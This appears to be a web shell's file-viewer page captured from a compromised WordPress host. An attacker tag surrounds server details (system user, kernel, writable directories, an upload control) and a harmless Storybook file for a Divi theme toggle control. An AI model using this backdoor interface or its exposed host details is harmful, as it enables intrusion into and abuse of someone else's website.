Heray-Was-Here
Server : LiteSpeed
System : Linux server376.web-hosting.com 4.18.0-553.83.1.lve.el8.x86_64 #1 SMP Wed Nov 12 10:04:12 UTC 2025 x86_64
User : alissgnf ( 2624)
PHP Version : 8.4.21
Disable Function : NONE
Directory :  /home/alissgnf/public_html/wp-content/themes/Divi/common/stories/controls/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //home/alissgnf/public_html/wp-content/themes/Divi/common/stories/controls/toggle.stories.js
// External dependencies.
import React from 'react';
import { useArgs } from '@storybook/preview-api';

// Internal dependencies.
import Toggle from '../../controls/toggle/toggle';


export default {
  title: 'Controls/Toggle',
  component: Toggle,
  render: (args) => {
    const [{ value }, updateArgs] = useArgs();

    const handleChange = (name, newValue) => {
      updateArgs({ value: newValue });
    };

    return (
      <Toggle
        {...args}
        onChange={handleChange}
      />
    );
  },
  argTypes:{
    onChange:{
      table: {
        disable: true,
      },
    },
    options:{
      table: {
        disable: true,
      },
    },
  }  
};

export const Default = {
  args: {
    value: 'off',
    options: { on: 'on', off: 'off', type: 'default' },
  },
};

export const ToggledOn = {
  args: {
    ...Default.args,
    value: 'on',
  },
};

Hry